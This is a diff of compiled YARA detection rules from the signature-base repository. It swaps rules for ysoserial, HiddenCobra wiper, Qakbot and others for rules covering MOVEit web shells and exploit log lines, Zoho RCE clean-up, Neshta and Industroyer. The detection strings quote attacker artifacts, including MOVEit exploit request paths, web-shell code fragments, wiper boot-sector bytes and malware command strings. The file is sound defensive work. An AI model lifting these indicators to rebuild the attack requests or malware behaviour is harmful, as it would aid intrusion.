 	condition:
-		( uint16(0)==0xedac and filesize <3KB and all of them )
+		(1 of ($s*) and 2 of ($x*)) or (3 of ($x*))
 }
-rule SIGNATURE_BASE_Ysoserial_Payload_Spring1
+rule SIGNATURE_BASE_APT_MAL_DNS_Hijacking_Campaign_AA19_024A : FILE
 {
 	meta:
-		description = "Ysoserial Payloads - file Spring1.bin"
+		description = "Detects malware used in DNS Hijackign campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
-		date = "2017-02-04"
+		id = "6a476052-ba4e-5049-9c7a-f8949d26e7b5"
+		date = "2019-01-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/frohoff/ysoserial"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ysoserial_payloads.yar#L40-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "852390d242c5cac243b54c31234c0ef3e25cede376eea23c73f03d79c548be8a"
+		reference = "https://www.us-cert.gov/ncas/alerts/AA19-024A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aa19_024a.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e9ec132df6cf6a89f6694682292feec0f3a762c2df6b1dc8180d9ab68e7183b"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
-		hash2 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
-		hash3 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
-		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
-		hash5 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
-		hash6 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
-		hash7 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
+		tags = "FILE"
+		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
+		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
 
 	strings:
-		$x1 = "ysoserial/Pwner" ascii
+		$s2 = "/Client/Login?id=" fullword ascii
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+		$s4 = ".\\Configure.txt" fullword ascii
+		$s5 = "Content-Disposition: form-data; name=\"files\"; filename=\"" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
 }
-rule SIGNATURE_BASE_Ysoserial_Payload : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_DLL_Moveit_Jun23_1 : FILE
 {
 	meta:
-		description = "Ysoserial Payloads"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
-		date = "2017-02-04"
+		description = "Detects compiled ASPX web shells found being used in MOVEit Transfer exploitation"
+		author = "Florian Roth"
+		id = "47db8602-9a9e-5efc-b8b9-fbc4f3c8d4e9"
+		date = "2023-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/frohoff/ysoserial"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ysoserial_payloads.yar#L61-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eec48af8bd3b377c8dd5af71027f67b36e1bd4d4ccfbd8134a26783517b5585a"
-		score = 75
+		reference = "https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/?utm_content=251159938&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_moveit_0day_jun23.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47c2ec1e833852941434586b61d6f435b9acb32b2ff48e0a9e8006e0f9ff8056"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
-		hash2 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
-		hash3 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
-		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
-		hash5 = "747ba6c6d88470e4d7c36107dfdff235f0ed492046c7ec8a8720d169f6d271f4"
-		hash6 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
-		hash7 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
-		hash8 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
-		hash9 = "1fea8b54bb92249203d68d5564a01599b42b46fc3a828fe0423616ee2a2f2d99"
-		hash10 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
-		hash11 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
-		hash12 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
-		hash13 = "f756c88763d48cb8d99e26b4773eb03814d0bd9bd467cc743ebb1479b2c4073e"
+		hash1 = "6cbf38f5f27e6a3eaf32e2ac73ed02898cbb5961566bb445e3c511906e2da1fa"
 
 	strings:
-		$x1 = "ysoserial/payloads/" ascii
-		$s1 = "StubTransletPayload" fullword ascii
-		$s2 = "Pwnrpw" fullword ascii
+		$x1 = "human2_aspx" ascii fullword
+		$x2 = "X-siLock-Comment" wide
+		$x3 = "x-siLock-Step1" wide
+		$a1 = "MOVEit.DMZ.Core.Data" ascii fullword
 
 	condition:
-		( uint16(0)==0xedac and filesize <40KB and $x1) or ( all of them )
+		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) and $a1) or all of them
 }
-rule SIGNATURE_BASE_Ysoserial_Payload_3 : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Moveit_Jun23_1 : FILE
 {
 	meta:
-		description = "Ysoserial Payloads - from files JavassistWeld1.bin, JBossInterceptors.bin"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7fb67f48-66dc-57a4-9075-49b2277fa186"
-		date = "2017-02-04"
+		description = "Detects ASPX web shells as being used in MOVEit Transfer exploitation"
+		author = "Florian Roth"
+		id = "2c789b9c-5ec5-5fd1-84e3-6bf7735a9488"
+		date = "2023-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/frohoff/ysoserial"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ysoserial_payloads.yar#L92-L113"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49491d1c15af8c271fbbb7dedc678a91df74dcb093abe3f056b1ffc2fced99fe"
-		score = 75
+		reference = "https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_moveit_0day_jun23.yar#L24-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "436f9a503ad938541faa8f34604310ba6d932e40a41dc189ccd293b7191a7621"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
-		hash2 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
+		hash1 = "2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5"
+		hash2 = "48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a"
+		hash3 = "e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e"
 
 	strings:
-		$x1 = "ysoserialq" fullword ascii
-		$s1 = "targetClassInterceptorMetadatat" fullword ascii
-		$s2 = "targetInstancet" fullword ascii
-		$s3 = "targetClassL" fullword ascii
-		$s4 = "POST_ACTIVATEsr" fullword ascii
-		$s5 = "PRE_DESTROYsq" fullword ascii
+		$s1 = "X-siLock-Comment" ascii fullword
+		$s2 = "]; string x = null;" ascii
+		$s3 = ";  if (!String.Equals(pass, " ascii
 
 	condition:
-		( uint16(0)==0xedac and filesize <10KB and $x1) or ( all of them )
+		filesize <150KB and 2 of them
 }
-rule SIGNATURE_BASE_Hiddencobra_R4_Wiper_1 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_1
 {
 	meta:
-		description = "Detects HiddenCobra Wiper"
-		author = "NCCIC Partner"
-		id = "4978c190-7b66-5cea-96df-809f85620986"
-		date = "2017-12-12"
+		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+		author = "Florian Roth"
+		id = "a7c521b8-c654-51dd-9d5b-4ba883feffe3"
+		date = "2023-06-01"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hiddencobra_wiper.yar#L8-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e88b7f8491e87cce0deb5f246ca521bdb556b9c79c697559bdf8b0b332e714e"
-		score = 75
+		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_moveit_0day_jun23.yar#L43-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26674d8dea5cb2e95e442c4c75d80ca610f7373f0b216c0b1c83a5b1f9f70316"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$mbr_code = { 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 5D 7C 33 C9 41 81 F9 00 ?? 74 24 B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 83 55 06 00 EB D5 BE 4D 7C B4 43 B0 00 CD 13 33 C9 BE 5D 7C EB C5 }
-		$controlServiceFoundlnBoth = { 83 EC 1C 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 44 8B 44 24 24 53 56 6A 24 50 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 1C 8D 4C 24 0C 51 6A 01 56 FF 15 ?? ?? ?? ?? 68 E8 03 00 00 FF 15 ?? ?? ?? ?? 56 FF D3 57 FF D3 5E 5B 33 C0 5F 83 C4 1C C3 33 C0 5F 83 C4 1C C3 }
+		$x1 = "POST /moveitisapi/moveitisapi.dll action=m2 " ascii
+		$x2 = " GET /human2.aspx - 443 " ascii
 
 	condition:
-		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and any of them
+		1 of them
 }
-rule SIGNATURE_BASE_Hiddencobra_R4_Wiper_2 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_2
 {
 	meta:
-		description = "Detects HiddenCobra Wiper"
-		author = "NCCIC Partner"
-		id = "75acc3cb-90dd-58e8-b094-ed3f28650b1b"
-		date = "2017-12-12"
+		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+		author = "Florian Roth"
+		id = "1527f5e3-071d-5152-9452-9c4472d258f2"
+		date = "2023-06-03"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hiddencobra_wiper.yar#L22-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f537f67be28f854db0d56199d2a43f90cf6c80469a6f9853db0cd550440c7e1f"
-		score = 75
+		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_moveit_0day_jun23.yar#L58-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "56328d078801a702ad47f01f356df6f00be8da593d03c549e77312af9b47b5be"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$PhysicalDriveSTR = "\\\\.\\PhysicalDrive" wide
-		$ExtendedWrite = { B4 43 B0 00 CD 13 }
+		$a1 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.102+Safari/537.36" ascii
+		$a2 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.54+Safari/537.36" ascii
+		$s1 = " POST /moveitisapi/moveitisapi.dll" ascii
+		$s2 = " POST /guestaccess.aspx"
+		$s3 = " POST /api/v1/folders/"
+		$s4 = "/files uploadType=resumable&"
+		$s5 = " action=m2 "
 
 	condition:
-		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and all of them
+		1 of ($a*) and 3 of ($s*) or all of ($s*)
 }
-rule SIGNATURE_BASE_SUSP_Qakbot_Uninstaller_Shellcode_Aug23
+rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_3
 {
 	meta:
-		description = "Detects Qakbot Uninstaller files used by the FBI and Dutch National Police in a disruption operation against the Qakbot in August 2023"
-		author = "Florian Roth"
-		id = "860796ab-689f-5c5f-bc40-3e2ef7fd1d5d"
-		date = "2023-08-30"
+		description = "Detects a potential compromise indicator found in MOVEit DMZ Web API logs"
+		author = "Nasreddine Bencherchali"
+		id = "113a501f-d9ed-51fd-82cd-ccb6f02833bd"
+		date = "2023-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_qakbot_uninstaller.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "91d26c50bf29517aa68e709ca3b6f32f4ca390f4c2f48e48cd251bfdd5dbcc71"
-		score = 60
+		reference = "https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_moveit_0day_jun23.yar#L81-L94"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2eaa06c31687c6368f036a705fdc1b1c42355f19c098ae764a998039cc4aebb5"
+		score = 70
 		quality = 85
 		tags = ""
 
 	strings:
-		$xc1 = { E8 00 00 00 00 58 55 89 E5 89 C2 68 03 00 00 00 68 00 2C 00 00 05 20 0A 00 00 50 E8 05 00 00 00 83 C4 04 C9 C3 81 EC 08 01 00 00 53 55 56 57 6A 6B 58 6A 65 5B 6A 72 66 89 84 24 D4 00 00 00 33 }
+		$s1 = "TargetInvocationException" ascii
+		$s2 = "MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream" ascii
 
 	condition:
-		$xc1
+		all of ($s*)
 }
-rule SIGNATURE_BASE_SUSP_Qakbot_Uninstaller_FBI_Aug23
+rule SIGNATURE_BASE_EXPL_Zoho_RCE_Fix_Lines_Dec21_1 : FILE
 {
 	meta:
-		description = "Detects Qakbot uninstaller used by the FBI / Dutch Police"
-		author = "Florian Roth"
-		id = "499bff56-ff49-53df-9922-227b816c0a36"
-		date = "2023-08-31"
+		description = "Detects lines in log lines of Zoho products that indicate RCE fixes (silent removal of evidence)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "633287e3-a377-5b3c-8520-a7790168eff5"
+		date = "2021-12-06"
 		modified = "2023-12-05"
-		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_qakbot_uninstaller.yar#L16-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0ce963190502709edec9434e6a64cb9db7c5553113b686afc56a516350d76baa"
-		score = 60
+		reference = "https://twitter.com/cyb3rops/status/1467784104930385923"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_zoho_rcef_logs.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e6d9c3364da57c03a5e838f485deefabec2f3ec67d19a9017e564ba702a72d03"
+		score = 65
 		quality = 85
-		tags = ""
-		hash1 = "559cae635f0d870652b9482ef436b31d4bb1a5a0f51750836f328d749291d0b6"
-		hash2 = "855eb5481f77dde5ad8fa6e9d953d4aebc280dddf9461144b16ed62817cc5071"
-		hash3 = "fab408536aa37c4abc8be97ab9c1f86cb33b63923d423fdc2859eb9d63fa8ea0"
+		tags = "FILE"
 
 	strings:
-		$op1 = { 69 c1 65 89 07 6c 03 c2 89 84 95 24 f6 ff ff 8b 55 e4 42 89 55 e4 81 fa 70 02 00 00 7c d4 }
-		$op2 = { 42 89 55 e4 81 fa 70 02 00 00 7c d4 f2 0f 10 0d a0 31 00 10 33 f6 f2 0f 10 15 a8 31 00 10 66 90 }
-		$op5 = { 68 48 31 00 10 6a 28 57 e8 e4 fd ff ff 8b 4d fc 83 c4 4c 33 cd 33 c0 }
-		$op6 = { 33 c0 66 39 06 74 0f 0f 1f 80 00 00 00 00 40 66 83 3c 46 00 75 f8 8d 3c 00 }
+		$s1 = "RCEF="
+		$sa1 = "\"attackStatus\"\\:\"active\""
+		$sa2 = "\"attackStatus\":\"active\""
+		$sd1 = "deletedCount"
+		$sd_fp1 = "\"deletedCount\"\\:0"
+		$sd_fp2 = "\"deletedCount\":0"
 
 	condition:
-		all of them
+		filesize <6MB and $s1 and (1 of ($sa*) or ($sd1 and not 1 of ($sd_fp*)))
 }
-rule SIGNATURE_BASE_PLEAD_Downloader_Jun18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Neshta_Generic : HIGHVOL FILE
+{
+	meta:
+		description = "Detects Neshta malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9a3b8369-7e19-5c21-9eba-0bb81507696a"
+		date = "2018-01-15"
+		modified = "2021-04-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_netsha.yar#L3-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "acac6f81900c60a0aacea6345a7c03a0b77dd86d5ca7ca3d102668c49595bb6b"
+		score = 75
+		quality = 85
+		tags = "HIGHVOL, FILE"
+		hash1 = "27c67eb1378c2fd054c6649f92ec8ee9bfcb6f790224036c974f6c883c46f586"
+		hash1 = "0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e"
+		hash2 = "b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb"
+		hash3 = "1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb"
+
+	strings:
+		$x1 = "the best. Fuck off all the rest."
+		$x2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
+		$s1 = "Neshta" ascii fullword
+		$s2 = "Made in Belarus. " ascii fullword
+		$op1 = { 85 c0 93 0f 85 62 ff ff ff 5e 5b 89 ec 5d c2 04 }
+		$op2 = { e8 e5 f1 ff ff 8b c3 e8 c6 ff ff ff 85 c0 75 0c }
+		$op3 = { eb 02 33 db 8b c3 5b c3 53 85 c0 74 15 ff 15 34 }
+		$sop1 = { e8 3c 2a ff ff b8 ff ff ff 7f eb 3e 83 7d 0c 00 }
+		$sop2 = { 2b c7 50 e8 a4 40 ff ff ff b6 88 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or all of ($s*) or 3 of them or pe.imphash()=="9f4693fc0c511135129493f2161d1e86")
+}
+import "pe"
+
+rule SIGNATURE_BASE_BKDR_Snarasite_Oct17 : FILE
 {
 	meta:
-		description = "Detects PLEAD Downloader"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "19d588d8-1f03-5f34-b82e-b645c28a19a4"
-		date = "2018-06-16"
+		id = "3a5d156a-529b-52ae-9b6a-d454895eb1fb"
+		date = "2017-10-07"
 		modified = "2023-12-05"
-		reference = "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_plead_downloader.yar#L1-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "82fa4629aeb67a657af8b40527414e59d1c45a7c4e3c68398d3472c080c9487b"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_snarasite.yar#L3-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79f49bce6de996d20b64476feb73987fdcd7555963ea1a596648d8702fbd2898"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940"
-
-	strings:
-		$s1 = "%02d:%02d:%02d" ascii fullword
-		$s2 = "%02d-%02d-%02d" ascii fullword
-		$s3 = "1111%02d%02d%02d_%02d%02d2222" ascii fullword
-		$a1 = "Scanning..." wide fullword
-		$a2 = "Checking..." wide fullword
+		hash1 = "36ba92cba23971ca9d16a0b4f45c853fd5b3108076464d5f2027b0f56054fd62"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*) or (2 of ($s*) and 1 of ($a*)))
+		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="322bef04e1e1ac48875036e38fb5c23c" or pe.imphash()=="15088754757513c92fa36ba5590e907b")
 }
-rule SIGNATURE_BASE_MAL_Backnet_Nov18_1 : FILE
+rule SIGNATURE_BASE_Industroyer_Malware_1 : FILE
 {
 	meta:
-		description = "Detects BackNet samples"
+		description = "Detects Industroyer related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f8575c5a-710d-5e97-91c1-5db454c6baf4"
-		date = "2018-11-02"
+		id = "f5ab571c-03a7-538a-ada1-0930d15af5cf"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/valsov/BackNet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_backnet.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea809a65a3cd786efe03ff7d831847e658851f76ee9dd084cb6c622b6e44c75f"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L12-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "276b7abdf43b62c3943a8dc362e1c68b23cc505d288e4395a6ac3cb4795371f2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910"
+		hash2 = "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81"
 
 	strings:
-		$s1 = "ProcessedByFody" fullword ascii
-		$s2 = "SELECT * FROM AntivirusProduct" fullword wide
-		$s3 = "/C netsh wlan show profile" wide
-		$s4 = "browsertornado" fullword wide
-		$s5 = "Current user is administrator" fullword wide
-		$s6 = "/C choice /C Y /N /D Y /T 4 & Del" wide
-		$s7 = "ThisIsMyMutex-2JUY34DE8E23D7" wide
+		$s1 = "haslo.exe" fullword ascii
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\%ls" fullword wide
+		$s3 = "SYS_BASCON.COM" fullword wide
+		$s4 = "*.pcmt" fullword wide
+		$s5 = "*.pcmi" fullword wide
+		$x1 = { 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73
+         00 5C 00 25 00 6C 00 73 00 00 00 49 00 6D 00 61
+         00 67 00 65 00 50 00 61 00 74 00 68 00 00 00 43
+         00 3A 00 5C 00 00 00 44 00 3A 00 5C 00 00 00 45
+         00 3A 00 5C 00 00 00 }
+		$x2 = "haslo.dat\x00Crash"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_1 : FILE
+rule SIGNATURE_BASE_Industroyer_Malware_2 : FILE
 {
 	meta:
-		description = "Detects a ZxShell related sample from a CN threat group"
+		description = "Detects Industroyer related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a91e39bb-1bb3-54a8-b684-d673c445375c"
-		date = "2017-07-08"
+		id = "0561a7bb-3b6c-5caf-9131-04924cee1e0f"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/cat-phishing/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_zxshell.yar#L12-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30195ff91bd62e32784040f9ec2cf72db90ef1c75056abfd9740f35ce1baccd9"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L39-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cda3e21c130acd76785905364416b3e8803e866dd93529da57ec980e7af081b7"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ef56c2609bc1b90f3e04745890235e6052a4be94e35e38b6f69b64fb17a7064e"
+		hash1 = "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571"
+		hash2 = "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4"
+		hash3 = "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77"
